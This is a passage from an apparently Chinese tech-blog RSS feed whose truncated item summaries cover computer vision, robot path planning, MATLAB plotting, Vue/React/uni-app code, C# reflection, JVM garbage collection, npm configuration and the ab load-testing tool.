detector sift_detecter = sift = cv2.SIFT_create() # Detection picture kp,des = sift.detectAndCompute(image,None) # Keypoints and descriptors # Plot key points img2 = cv2.</description>
    </item>
    <item>
      <title>机器人学习-关于经典路径规划（一）</title>
      <link>https://bchobby.github.io/posts/c334734ecfd7482cace35ba1405a82f3/</link>
      <pubDate>Wed, 05 Apr 2023 10:03:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c334734ecfd7482cace35ba1405a82f3/</guid>
      <description>1.内容简介&#xA;识别不同类型的路径规划算法理解一组算法的内部工作原理评估算法对特定应用的适用性实现搜索算法 2.路径规划示例&#xA;术语&#xA;完整性——如果一个算法能够在起点和目标之间找到一条路径，那么这个算法就是完整的。&#xA;最优性——如果一个算法能够找到最佳的解决方案，那么它就是最优的。&#xA;bug算法&#xA;下面的问题演示一个有解决方案，但bug算法无法找到它的例子：&#xA;机器人会无休止地穿越在障碍物的外墙周边，但bug算法的一些变体可以弥补这个错误，大部分路径规划算法依赖于本文将介绍的其他原则。在研究新的算法时，我们将在分析算法对任务的适用性时重新考虑完整性和最优性的概念。&#xA;3.路径规划方法&#xA;路径规划方法&#xA;在本文中，将学习三种不同的路径规划方法。第一种称为离散(或组合)路径规划，是三种方法中最直接的。另外两种方法，称为基于样本的路径规划和概率路径规划，建立在离散规划的基础上，以开发更广泛适用的路径规划解决方案。&#xA;离散规划&#xA;离散规划是将机器人的工作空间显式离散化为一个连通图，并应用graph-search（图搜索）算法来计算最佳路径。这个过程非常精确(实际上，可以通过改变离散空间的精细程度来显式地调整精度)，而且非常彻底，因为它离散了整个工作空间。因此，离散规划的计算成本可能非常高——对于大型路径规划问题来说，这可能令人望而却步。&#xA;下图显示了应用于二维工作空间的离散路径规划的一种可能实现。&#xA;离散路径规划在其精确性上是优雅的，但最适合于低维问题。对于高维问题，基于样本的路径规划是一种更合适的方法。&#xA;基于样本的规划&#xA;基于样本的路径规划探测工作空间以增量地构造一个图。与离散工作空间的每个部分不同，基于样本的规划采用许多样本并使用它们来构建工作空间的离散表示。生成的图不如使用离散规划创建的图精确，但由于使用的样本数量相对较少，因此构造起来要快得多。&#xA;使用基于样本的规划生成的路径可能不是最佳路径，但在某些应用中——快速生成可行路径比等待数小时甚至数天生成最优路径要好。&#xA;下图显示了使用基于样本的规划创建的二维工作空间的图形表示。&#xA;概率路径规划&#xA;在本模块中学习的最后一种路径规划是概率路径规划。前两种方法一般地考虑路径规划问题——不了解谁或什么可能在执行动作——概率路径规划考虑了机器人运动的不确定性。&#xA;虽然这在某些环境中可能不会提供显著的好处，但在高度受限的环境或具有敏感或高风险区域的环境中尤其有用。&#xA;下图显示了应用于包含危险的环境(右上方的湖泊)的概率路径规划：&#xA;Multi-Lesson地图&#xA;在本文中，学习几种离散路径规划算法及基于样本和概率规划，然后应用到路径规划实验中，并使用C++编写搜索算法。&#xA;4.连续性表示&#xA;为了考虑机器人的几何形状并简化路径规划的任务，工作空间中的障碍物可以膨胀以创建一个称为配置空间(或C空间)的新空间。障碍物的边缘随着机器人的半径大小膨胀，机器人本体可以被视为一个点，使算法更容易搜索路径。C空间是所有机器人姿态的集合，可以分解为C_Free和C_Obs。&#xA;5.Minkowski求和&#xA;Minkowski求和&#xA;Minkowski之和是一种数学性质，可用于计算给定障碍物和机器人几何的配置空间。&#xA;Minkowski之和计算方法的直觉可以通过想象用一个形状像机器人的画笔绘制一个障碍物的外部来理解，机器人的原点是画笔的尖端。涂漆面积为C_obs。下图显示了这一点。&#xA;为了创建配置空间，对工作空间中的每一个障碍物都用这种方法计算Minkowski之和。下图显示了由三个不同大小的机器人从一个工作空间创建的三个配置空间。如您所见，如果机器人只是一个点，那么工作空间中的障碍物只会膨胀少量来创建C空间。随着机器人体积的增大，障碍物也会膨胀得越来越大。&#xA;对于凸多边形，计算卷积是很简单的，可以在线性时间内完成-然而对于非凸多边形(即存在间隙或空洞的多边形)，计算要昂贵得多。&#xA;如果有兴趣更详细地了解Minkowski之和，可参见以下资源:&#xA;A blog post on Minkowski sums and differences,&#xA;An interesting read on how collisions are detected in video games.&#xA;小测验:Minkowski求和&#xA;如下图所示：&#xA;以下哪个图像代表上面所示的机器人(紫色)和障碍物(白色)的配置空间? 答案：B&#xA;6.Minkowski求和的C++实现&#xA;现在已经学习了Minkowski求和，请尝试在C++中编写代码!&#xA;图示如下： 在这个例子中，可以看到两个三角形——一个蓝色的，一个红色的。假设机器人用一个蓝色三角形表示，障碍物用一个红色三角形表示。任务是用C++计算机器人A和障碍物B的配置空间C。&#xA;机器人:蓝色三角形，用A表示障碍物:红色三角形，用B表示 下面是在C++中编写Minkowski和的步骤:&#xA;Non-shifted(未转换)图例&#xA;以上用C++编写了Minkowski求和代码，并生成了配置空间。注意到红色的障碍物并没有充分膨胀，蓝色的机器人仍然可以撞到障碍物。这是因为配置空间仍然需要转移到障碍物上。&#xA;首先将机器人转换为障碍物，计算配置空间后，再转化为机器人和障碍物。&#xA;转换后图例&#xA;上图是转换后最终的图像，其中蓝色的机器人和绿色的配置空间都发生了转化。可以看到黄色填充，它代表转换后的配置空间围绕在红色障碍物周围。蓝色的机器人不会再撞到红色的障碍物，因为它膨胀得很好。</description>
    </item>
    <item>
      <title>MATLAB绘制三维点云并且根据给不同点云簇添加不同颜色</title>
      <link>https://bchobby.github.io/posts/40b7f574b93891d4973553f784cbbb35/</link>
      <pubDate>Tue, 04 Apr 2023 21:29:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/40b7f574b93891d4973553f784cbbb35/</guid>
      <description>点云格式： 第七列为点云簇序号&#xA;程序：&#xA;% 读取点云数据 load(&#39;pointCloudData.mat&#39;); % 取出点云簇标记列 cluster_labels = pointCloudData(:, 7); % 将点云簇标记列转化为离散的整数值 unique_labels = unique(cluster_labels); label_int = zeros(size(cluster_labels)); for i = 1:length(unique_labels) label_int(cluster_labels == unique_labels(i)) = i; end % 将不同簇的点赋予不同的颜色 colors = lines(length(unique_labels)); % 绘制点云 figure; scatter3(pointCloudData(:, 1), pointCloudData(:, 2), pointCloudData(:, 3), ... 10, colors(label_int, :), &#39;filled&#39;); axis equal; xlabel(&#39;X&#39;); ylabel(&#39;Y&#39;); zlabel(&#39;Z&#39;); title(&#39;3D Point Cloud&#39;); 结果：</description>
    </item>
    <item>
      <title>NexNoSQL Client：Elasticsearch、Redis、MongoDB三合一的可视化客户端管理工具</title>
      <link>https://bchobby.github.io/posts/6f61687949c3e6b6b08a5e2b51ccc3aa/</link>
      <pubDate>Tue, 04 Apr 2023 19:29:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f61687949c3e6b6b08a5e2b51ccc3aa/</guid>
      <description>背景： 工作中我们使用了Elasticsearch作为存储，来支持内容的搜索，Elasticsearch这个软件大家都耳熟能详，它是一个分布式、高扩展、高实时的搜索与数据分析引擎，不仅仅支持文本索引，还支持聚合操作，使用它既可以做数据搜索，还可以做报表分析，非常的方便。&#xA;痛点： 在使用过程中我们也遇到了很多的痛点，主要有以下几个：&#xA;1、写入的数据不能立马搜索出来：Elasticsearch有一个刷新间隔，只有刷新之后的数据才能被搜索到，如果要在插入数据之后立马想搜索到，就需要程序进行等待，想想挺尴尬的。当然如果你插入的数据想里面查询出来也是有办法的，那就是通过_id进行查询，只有这一个途径。&#xA;2、找不到友好的可视化客户端：原来开发的项目都是基于MySQL和Redis的，它们都有比较优秀的可视化客户端软件进行支持，比如navicat for mysql,Redis Desktop Manager等等，它能降低我们学习和使用的难度，让我们即使对MySQL和Redis了解甚少，也不妨碍我们便捷的使用它们。可对于Elasticsearch来说，好长时间我们并没有发现类似的工具，虽然网上搜索有Elasticsearch-Head，可它仅仅支持简单的查询，不能进行数据更新操作；Kinaba是ES的官方作品，功能非常强大，但需要编写DSL语句，操作复杂，不利于小白直接入手，也不利于工作中的快捷使用。&#xA;NexNoSQL Client 最近在网上终于搜到一款Elasticsearch可视化的客户端软件，最最关键的是它是免费的，那就赶快薅起来吧。客户端的下载地址：&#xA;https://github.com/NexNoSQL/NexNoSQLClient/releases/download/v1.0.0/NexNoSQL-Client-1.0.0-setup.exe​github.com/NexNoSQL/NexNoSQLClient/releases/download/v1.0.0/NexNoSQL-Client-1.0.0-setup.exe&#xA;它集成了Elasticsearch、Redis、MongoDB三种存储的数据管理，如果大家项目中使用了这三种，那么就不需要安装三种软件了，安装它一款即可，我主要是用它的ES功能。&#xA;1、连接集群： 软件安装之后，直接点击new按钮，就会跳出新增集群的对话框，选择type=elasticsearch，填入对应的名字、IP和端口号，就可以连接到该节点对应的集群上了，ES集群里面有多个节点，我们只需要填写某一个节点的IP和端口号即可。&#xA;2、ES功能：索引、索引模板、索引别名、管理监控、高级操作 连接之后我们就能看到该软件具备的elasticsearch功能&#xA;3、索引操作 本次我就讲一讲对索引的操作&#xA;3.1、建立索引：&#xA;点击索引目录旁边的+，右侧就显示出建索引相关的设置，上部分是索引的基础设置，比如索引的名称、类型，分片数、副本数，返回结果大小。下部分是索引字段的mapping设置，比如字段的名称，字段的类型，是否可以检索，看起来是不是很熟悉的味道，和Navicat中设置MySQL表一样简单，再也不用去写复杂的ES脚本了。另外在右侧的“脚本”TAB还有对应的脚本展示，可以供我们学习之用。比如我们设置一个类型，然后看看脚本是怎生成的。&#xA;3.2、插入索引数据&#xA;当我们建立索引之后，肯定想做的是往索引里面插入数据，ES里面的数据都是JSON格式的，那么我们怎么插入数据呢？点击索引目录，然后就能看到集群里面所有的索引，然后点击我们刚刚新增的test2索引，就出现了下图的界面：&#xA;单击“新增文档”就跳出对应的对话框，然后我们就可以输入JSON格式的内容了:&#xA;3.2、查询索引数据&#xA;这是这个软件的最大的优点，查询数据特别的简单，可以选择的查询条件非常多：&#xA;支持all、id、must、most not、should，另外还支持sort排序操作。&#xA;我们选择all查看一下，就能查询出相关的数据，并且还能展示该索引的总数，&#xA;3.3、修改和删除索引数据&#xA;查询出数据之后，就可以对数据进行修改和删除了，就在上图的右边有操作按钮，是不是特别的方便。&#xA;最后： 今天先写到这里，这里仅仅是索引相关的操作，还有其他的内容大家自行探索吧，另外还有Redis和MongoDB的功能，我后续再写几篇文章来跟大家分享使用心得。</description>
    </item>
    <item>
      <title>三十三、垃圾回收的并行与并发</title>
      <link>https://bchobby.github.io/posts/7d6037dd9b938dc15c3d0b79945aeb43/</link>
      <pubDate>Tue, 04 Apr 2023 17:48:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d6037dd9b938dc15c3d0b79945aeb43/</guid>
      <description>1.操作系统的并行与并发&#xA;1。在操作系统中，是指一个时间段中有几个程序都处于已启动到运行完毕之间，且这几个程序都是在用一个处理器上运行。&#xA;2.并发不是正真意义上的”同时进行“，只是CPU把一个时间段划分成几个时间片段（时间区间），然后再这几个时间区间之间来回切换，由于CPU处理的速度非常快，只要时间间隔处理得当，即可让用户感觉是多个应用程序同时再进行。&#xA;3.当系统有一个以上CPU时，当一个CPU执行一个进程时，另一个CPU可以执行另一个进程，两个进程互不抢占CPU资源，可以同时进行，我们称之为并行。&#xA;4.其实决定并行的因素不是CPU的数量，而是CPU的核心数量，比如一个CPU多个核也可以并行。&#xA;5.适合科学计算，后台处理等弱交互场景。&#xA;并行vs并发&#xA;二者对比：&#xA;并发，指的是多个事件，再同一时间段内同时发生了。&#xA;并行，指的是多个事情，在同一时间点上同时发生了。&#xA;并发的多个任务之间是相互抢占资源的。&#xA;并行的多个任务之间是不互相抢占资源的。&#xA;只有在多个CPU或者一个CPU多核的情况中，才会发生并行。否则，看似同时发生的事情，其实都是并发执行的。&#xA;2.垃圾回收的并发与并行&#xA;1.并行和并发，在谈论垃圾收集器的上下文语境中，它们可以解释如下：&#xA;1.并行：指多条垃圾收集线程并行工作，但此时用户线程仍处于等待状态。&#xA;2.串行：&#xA;1)相较于并行的概念，单线程执行。&#xA;2）如果内存不够，则程序暂停，启动JVM垃圾回收器进行垃圾回收。回收完，再启动程序的线程。&#xA;3.安全点&#xA;程序执行时并非在所有地方都能停顿下来开始GC，只有在特定的位置才能停顿下来开始GC，这些位置称为”安全点“。&#xA;Safe Point 的选择很重要，如果太少可能导致GC等待的时间太长，如果太频繁可能导致运行时的性能问题。大部指令的执行时间都非常短暂，通常会根据”是否具有让程序长时间执行的特征“为标准。比如：选择一些执行时间较长的指令作为Safe point,如方法调用、循环跳转和异常跳转等。&#xA;如何在GC发生时，检查所有线程都跑到最近的安全点停顿下来呢？&#xA;1.抢先式中断：（目前没有虚拟机采用了）&#xA;首先中断所有线程。如果还有宪曾不在安全点，就恢复线程，让线程跑到安全点。&#xA;2.主动式中断：&#xA;设置一个中断标志，各个线程运行到Safe Point的时候主动轮询这个标志，如果中断标志为真，则将自己进行中断挂起。&#xA;Safepoint机制保证了程序执行时，在不太长的时间内就会遇到可进入GC的Safepoint。但是，程序“不执行”的时候呢？例如线程处于Sleep状态或Blocked状态，这时候线程无法响应JVM的中断亲求，“走”到安全点去中断挂起，JVM也不太可能线程被唤醒。对于这种情况，就需要安全区域来解决。&#xA;安全区域是指在一段代码片段中，对象的引用关系不会发生变化，在这个区域中的任何位置开始GC都是安全的。我们也可以把Safe Regin看作是被扩展了的safepoint。</description>
    </item>
    <item>
      <title>uview2.0封装网络请求(微信小程序最新登录方式)</title>
      <link>https://bchobby.github.io/posts/b7fefc48bdafb17e4e33e9fdb792f762/</link>
      <pubDate>Tue, 04 Apr 2023 17:33:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7fefc48bdafb17e4e33e9fdb792f762/</guid>
      <description>一、网络请求和相应拦截器&#xA;// 此vm参数为页面的实例，可以通过它引用vuex中的变量 module.exports = (vm) =&amp;gt; { // 初始化请求配置 uni.$u.http.setConfig((config) =&amp;gt; { config.baseURL = &#39;http://127.0.0.1:8080/&#39;; return config }) // 请求拦截 uni.$u.http.interceptors.request.use((config) =&amp;gt; { //根据custom参数中配置的是否需要token，添加对应的请求头 if(config?.custom?.auth) { config.header.token = uni.getStorageSync(&#34;token&#34;) } return config }, config =&amp;gt; { // 可使用async await 做异步操作 return Promise.reject(config) }) uni.$u.http.interceptors.response.use((response) =&amp;gt; { /* 对响应成功做点什么 可使用async await 做异步操作*/ if (response.data.code !== 200) { // 服务端返回的状态码不等于200，则reject() return Promise.reject(response) }&#x9;// return Promise.reject 可使promise状态进入catch if (response.config.custom.verification) { // 演示自定义参数的作用 return response.</description>
    </item>
    <item>
      <title>Axure rp9一个简单的滑块循环播放/轮播图原型</title>
      <link>https://bchobby.github.io/posts/a5a1b58ed4ed95b9f07c3b8da5f1d2ee/</link>
      <pubDate>Tue, 04 Apr 2023 16:41:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a5a1b58ed4ed95b9f07c3b8da5f1d2ee/</guid>
      <description>1678172447766&#xA;开始步骤： 1.在空白画布中直接拖入一个动态面板&#xA;2.点击这个动态面板，然后新创建几个状态副本&#xA;3.切换到每一个面板，然后在空白处放上需要展示的内容&#xA;4.设置交互，给这个动态面板先设置一个‘载入’的动作，然后再设置动态面板状态，状态改为下一个，然后勾选‘在最后1个到第1个状态之间循环’。然后设置一下如何展示图片的样式，点击更多选项，勾选循环间隔时间，点击完成，就可以按F5展示看效果了。</description>
    </item>
    <item>
      <title>将图片的小写属性改为大写</title>
      <link>https://bchobby.github.io/posts/19ff7ba92013cbc2bd881abd2f5ac4a0/</link>
      <pubDate>Tue, 04 Apr 2023 16:24:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19ff7ba92013cbc2bd881abd2f5ac4a0/</guid>
      <description>1.将图片拖到桌面，然后右击，选择属性，进行查看该图片的文件类型&#xA;发现文件类型后缀是小写，我需要改成大写&#xA;2.右击图片，选择编辑&#xA;3.然后选择另存为，将文件名的后缀改成自己需要的大写属性，就完成了。</description>
    </item>
    <item>
      <title>React中实现富文本编辑器</title>
      <link>https://bchobby.github.io/posts/377df2333f16d532ac518424d14bd58d/</link>
      <pubDate>Tue, 04 Apr 2023 15:23:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/377df2333f16d532ac518424d14bd58d/</guid>
      <description>React中实现富文本编辑器 前言&#xA;在React中实现富文本编辑器，我们可以使用现有的第三方库，如react-quill、draft-js等。这里以react-quill为例进行介绍。&#xA;首先需要安装react-quill库：&#xA;npm install react-quill --save 然后在需要使用富文本编辑器的组件中引入并使用：&#xA;import React, {useState} from &#34;react&#34;; import ReactQuill from &#34;react-quill&#34;; import &#34;react-quill/dist/quill.snow.css&#34;; function RichTextEditor() { const [editorContent, setEditorContent] = useState(&#34;&#34;); const handleEditorChange = (content, delta, source, editor) =&amp;gt; { setEditorContent(content); }; return ( &amp;lt;div className=&#34;rich-text-editor&#34;&amp;gt; &amp;lt;ReactQuill value={editorContent} onChange={handleEditorChange} modules={{ toolbar: [ [{ header: [1, 2, false] }], [&#34;bold&#34;, &#34;italic&#34;, &#34;underline&#34;, &#34;strike&#34;, &#34;blockquote&#34;], [ { list: &#34;ordered&#34; }, { list: &#34;bullet&#34; }, { indent: &#34;</description>
    </item>
    <item>
      <title>前端vue 教程（详细版）</title>
      <link>https://bchobby.github.io/posts/58b0a23654bba1c3415778b11993bcd1/</link>
      <pubDate>Tue, 04 Apr 2023 14:19:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58b0a23654bba1c3415778b11993bcd1/</guid>
      <description>Vue 1. 什么是Vue Vue是一款渐进式JavaScript框架 Vue是一款渐进式JavaScript框架，可以用于构建用户界面。Vue具有简单易学、轻量级、高效、灵活等特点。Vue采用了MVVM模式，通过数据驱动视图的方式实现了组件化开发。Vue具有丰富的生态系统，如Vue Router、Vuex、Vue CLI等。Vue支持服务端渲染、TypeScript等特性，可以满足不同的开发需求。 Vue可以用于构建用户界面 Vue是一套用于构建用户界面的渐进式框架，它采用MVVM模式，通过数据驱动视图，并且提供了响应式和组件化的思想，使得开发者可以更加轻松地构建交互式的应用程序。&#xA;Vue可以用于构建用户界面，它提供了一系列的指令和组件，包括v-bind、v-model、v-if、v-for等等，同时也支持自定义指令和组件。通过这些指令和组件，开发者可以快速地搭建各种类型的用户界面，例如表单、列表、导航等等。&#xA;Vue的核心库只关注视图层- Vue的核心库只关注视图层，因此它易于学习和集成到其他项目中。&#xA;Vue使用虚拟DOM来优化性能，并提供了响应式和组件化的开发方式。Vue支持模板语法和JSX语法，可以与其他库和框架无缝集成。 2. Vue的特点 渐进式框架数据驱动视图组件化开发轻量级易上手 3. Vue的基础语法 模板语法&#xA;插值表达式：{{ }}&amp;lt;div&amp;gt;{{ message }}&amp;lt;/div&amp;gt; v-bind指令：将数据绑定到HTML元素的属性上&amp;lt;img v-bind:src=&#34;imageSrc&#34;&amp;gt; v-if指令：根据表达式的值的真假来有条件地渲染元素&amp;lt;div v-if=&#34;isShow&#34;&amp;gt;显示的内容&amp;lt;/div&amp;gt; v-for指令：渲染列表&amp;lt;ul&amp;gt; &amp;lt;li v-for=&#34;item in items&#34;&amp;gt;{{ item }}&amp;lt;/li&amp;gt; &amp;lt;/ul&amp;gt; v-on指令：绑定事件&amp;lt;button v-on:click=&#34;handleClick&#34;&amp;gt;点击&amp;lt;/button&amp;gt; 计算属性：computed&amp;lt;div&amp;gt;{{ reversedMessage }}&amp;lt;/div&amp;gt; ... computed: { reversedMessage: function () { return this.message.split(&#39;&#39;).reverse().join(&#39;&#39;) } } 监听属性：watchwatch: { message: function (newVal, oldVal) { console.log(&#39;message changed from&#39;, oldVal, &#39;to&#39;, newVal) } } 生命周期：created、mounted、updated、destroyedcreated: function () { console.</description>
    </item>
    <item>
      <title>C# 使用反射进行反射程序集下的某个文件夹下的所有类 或者 某程序集下的所有类</title>
      <link>https://bchobby.github.io/posts/f1f9a237a0b514c9b7fe6ba96256bbae/</link>
      <pubDate>Tue, 04 Apr 2023 14:17:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f1f9a237a0b514c9b7fe6ba96256bbae/</guid>
      <description>一、什么是反射？ 反射是指在运行时通过程序对类型、对象等信息进行访问和操作的能力。在C#中，反射可以通过System.Reflection命名空间中的类来实现，比如Type、MethodInfo和PropertyInfo等。通过反射，可以在程序运行时获取类型的信息，创建对象实例、调用方法、设置属性等。反射常用于动态加载程序集、编写通用代码以及实现一些高级功能。&#xA;二、本文章例子是在什么情况下形成的？ 本文章是在使用sqlsugar的情况下使用，具体需求是如下：&#xA;1、开发人员通过创建“实体类”，实体类中已经定义好数据库中需要使用的字段名称与类型。&#xA;2、程序启动时，通过Assembly进行获取某个程序集中的所有类（或者某个程序集中某个文件夹中的所有类）。&#xA;3、通过反射，把获取的类进行反射，可变成可使用的类。&#xA;三、程序实例： var basicScope = GetScope(UserDataBase.Basics);//获取连接postgeoSql的字段 GetScope(UserDataBase.Basics)一个方法，里面定义了连接postgeosql的方法 var currentAssembly = Assembly.LoadFrom(&#34;DBManagement.Common.dll&#34;);//DBManagement.Common.dll 这个就是你要获取的程序集，也就是你想要获取的类在哪个程序集下面 var geoEntityTypes = currentAssembly.ExportedTypes.Where(p =&amp;gt; p.FullName.StartsWith(&#34;DBManagement.Common.Entities&#34;)).ToList(); //这个是指定到某个程序集中的指定文件夹下，更加精准到准确位置 ///进行便利获取的所有的程序集中的类 foreach (var geoEntityType in geoEntityTypes) { var methods = basicScope.CodeFirst.GetType().GetMethods(); //C# GetMethods是一种反射方法，可以用于获取指定对象或类型的方法信息 foreach (var method in methods) { if (method.IsGenericMethod) //IsGenericMethod 是 C# 中的一个方法，它用于检查给定的方法是否为泛型方法。如果是泛型方法，则返回 true，否则返回 false。当使用泛型类型或方法时，它允许在不指定具体类型或方法参数的情况下创建通用代码。 { //C# 中的 StringComparison.OrdinalIgnoreCase 表示不区分大小写的字符串比较方式，它适用于任何语言，包括中文。即使字符串中有汉字，使用该比较方式也会忽略其大小写差异，只比较它们的字符编码值。 if (string.Equals(method.ToString(), &#34;void InitTable[T]()&#34;, StringComparison.OrdinalIgnoreCase)) { //MakeGenericMethod是 C# 中的一种方法，它允许您通过动态指定泛型方法的类型参数在运行时创建泛型方法。当您事先不知道参数的类型并且需要生成可以处理传入的任何类型的代码时，这很有用。该函数是命名空间的一部分，可以在表示泛型方法定义的 MethodInfo 对象上调用。 var genMethod = method.</description>
    </item>
    <item>
      <title>【信息系统项目管理师教程（第4版）】目录（附大纲）</title>
      <link>https://bchobby.github.io/posts/46c1826cf480cdc0df5aa32a7691f073/</link>
      <pubDate>Tue, 04 Apr 2023 13:31:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46c1826cf480cdc0df5aa32a7691f073/</guid>
      <description>思维导图 https://www.mubucm.com/doc/qbBKiiPRMK（2023第4版目录）&#xA;https://www.mubucm.com/doc/ND7nxVh4u-（2023第4版大纲）&#xA;目录 第1章信息化发展1&#xA;1.1信息与信息化1 1.1.1信息2 1.1.2信息系统2 1.1.3信息化4 1.2现代化基础设施7 1.2.1新型基础设施建设7 1.2.2工业互联网8 1.2.3车联网10 1.3现代化创新发展12 1.3.1农业农村现代化12 1.3.2两化融合与智能制造13 1.3.3消费互联网15 1.4数字中国16 1.4.1数字经济17 1.4.2数字政府20 1.4.3数字社会23 1.4.4数字生态27 1.5数字化转型与元宇宙28 1.5.1数字化转型28 1.5.2元宇宙34 1.6本章练习35 第2章信息技术发展37&#xA;2.1信息技术及其发展37 2.1.1计算机软硬件37 2.1.2计算机网络38 2.1.3存储和数据库41 2.1.4信息安全47 2.1.5信息技术的发展48 2.2新一代信息技术及应用49 2.2.1物联网49 2.2.2云计算51 2.2.3大数据55 2.2.4区块链57 2.2.5人工智能60 2.2.6虚拟现实63 2.3本章练习65 第3章信息系统治理67&#xA;3.1IT治理67 3.1.1IT治理基础67 3.1.2IT治理体系69 3.1.3IT治理任务73 3.1.4IT治理方法与标准74 3.2IT审计80 3.2.1IT审计基础80 3.2.2审计方法与技术83 3.2.3审计流程88 3.2.4审计内容89 3.3本章练习91 第4章信息系统管理93&#xA;4.1管理方法93 4.1.1管理基础93 4.1.2规划和组织94 4.1.3设计和实施98 4.1.4运维和服务100 4.1.5优化和持续改进104 4.2管理要点107 4.2.1数据管理107 4.2.2运维管理119 4.2.3信息安全管理125 4.3本章练习127 第5章信息系统工程129&#xA;5.1软件工程129 5.1.1架构设计129 5.1.2需求分析131 5.</description>
    </item>
    <item>
      <title>ab性能测试工具的安装与使用</title>
      <link>https://bchobby.github.io/posts/40ecc041ed670e04e6d2743f39154926/</link>
      <pubDate>Tue, 04 Apr 2023 11:16:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/40ecc041ed670e04e6d2743f39154926/</guid>
      <description>一、ab介绍 ab，是Apache Benchmark的缩写，是一个种用于测试Apache的超文本传输协议（http）服务器的工具。&#xA;二、ab原理 ab命令会创建多个并发访问线程，模拟多个访问者同时对某一URL地址进行访问，它的测试目标是基于URL的。因此，它既可以用来测试Apache的负载压力，也可以 测试nginx、lighthttp、tomcat等其它Web服务器的压力。&#xA;ab命令对发出负载的计算机要求很低，既不会占用很高的CPU，也不会占用很多的内存，但却会给目标服务器造成巨大的负载，其原理类似CC攻击，自己测试使用也须注意，否则一次上太多的负载，可能造成目标服务器因资源消耗完，严重时甚至导致死机。&#xA;注：&#xA;CC攻击=Challenge Collapsar（挑战黑洞），是针对Web服务在 OSI 协议第七层协议发起的攻击，攻击者极力模仿正常用户的网页请求行为，发起方便、过滤困难，极其容易造成目标服务器资源耗尽无法提供服务。&#xA;CC攻击算得上是应用层的DDoS，而且是经过TCP握手协议之后，CC的攻击原理很简单，就是模拟多个用户对一些资源消耗较大的页面不断发出请求，从而达到消耗服务器资源的目的，当服务器一直都有处理不完的大量数据请求时，服务器资源浪费过多，就会造成堵塞，而正常用户的访问也会被终止，网站陷入瘫痪状态。&#xA;三、ab安装 1、安装网址：http://httpd.apache.org/&#xA;2、安装步骤：Window版本&#xA;下载完直接解压即可！&#xA;四、ab使用 1、找到Apache的bin目录进入cmd进入到该目录&#xA;2、进入之后输入要压测的网址&#xA;使用 ab -n 数字 -c 数字 url 路径的命令即可（n为测试总数，c为并发数）&#xA;例：测试总次数为1000，并发数为10(相当于10个用户同时访问，他们总共访问1000次)。&#xA;以上就是对ab性能测试工具简单的操作和安装介绍啦~</description>
    </item>
    <item>
      <title>mpShare小程序分享</title>
      <link>https://bchobby.github.io/posts/758a0ff12e178155a26c877d116ed386/</link>
      <pubDate>Tue, 04 Apr 2023 11:03:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/758a0ff12e178155a26c877d116ed386/</guid>
      <description> 引入uview组件(省略)查看或编辑mpShare.js module.exports = { onLoad() { // 设置默认的转发参数 uni.$u.mpShare = { title: &#39;&#39;, // 默认为小程序名称 path: &#39;&#39;, // 默认为当前页面路径 imageUrl: &#39;&#39; // 默认为当前页面的截图 } }, onShareAppMessage() { return uni.$u.mpShare }, // #ifdef MP-WEIXIN onShareTimeline() { return this.$u.mpShare } // #endif } 3.在main.js中打开小程序分享功能&#xA;// 引入uView对小程序分享的mixin封装 let mpShare = require(&#39;@/uni_modules/uview-ui/libs/mixin/mpShare.js&#39;); Vue.mixin(mpShare); 页面自定义分享标题&#xA;在被分享页面的onLoad()函数中自定义标题 onLoad() { uni.$u.mpShare.title = &#39;天苍苍野茫茫，风吹草低见牛羊&#39;; }, </description>
    </item>
    <item>
      <title>计算机应用基础00018课件</title>
      <link>https://bchobby.github.io/posts/5ba7c4ae491aa8e85ed7576232b72314/</link>
      <pubDate>Tue, 04 Apr 2023 10:23:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5ba7c4ae491aa8e85ed7576232b72314/</guid>
      <description> 第二章 资源链接：https://download.csdn.net/download/sereasuesue/87649885?spm=1001.2014.3001.5503 </description>
    </item>
    <item>
      <title>nodejs配置npm下载依赖位置和镜像源</title>
      <link>https://bchobby.github.io/posts/98b83d53c99332e75315ffd53ce13e5c/</link>
      <pubDate>Tue, 04 Apr 2023 10:13:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98b83d53c99332e75315ffd53ce13e5c/</guid>
      <description>创建本地目录，并执行配置下载位置 npm config set cache “D:\nodereps\npm_cache”&#xA;npm config set prefix “D:\nodereps\npm_global”&#xA;2.查看下载位置&#xA;npm config ls&#xA;默认下载位置如下 ，C:\Users\Administrator\AppData\Roaming，AppData 是隐藏文件夹&#xA;执行配置后&#xA;3.在C:\Users\用户名.npmrc 可以查看到配置&#xA;4. 输入 npm get registry：查看当前镜像源为https://registry.npmjs.org/（npm默认镜像源）。&#xA;5. 输入npm config set registry xxx(镜像源地址)。&#xA;小编以国内淘宝镜像为例:npm config set registry https://registry.npm.taobao.org。</description>
    </item>
    <item>
      <title>Linux环境下搭建Apache James邮件服务器</title>
      <link>https://bchobby.github.io/posts/8b390d1c71c3721986395e2ba2787e6e/</link>
      <pubDate>Tue, 04 Apr 2023 10:11:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b390d1c71c3721986395e2ba2787e6e/</guid>
      <description>1、环境准备</description>
    </item>
    <item>
      <title>计算机应用辅导大纲及真题</title>
      <link>https://bchobby.github.io/posts/970f7068c830bbaf09ef87440b74b5ed/</link>
      <pubDate>Tue, 04 Apr 2023 10:07:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/970f7068c830bbaf09ef87440b74b5ed/</guid>
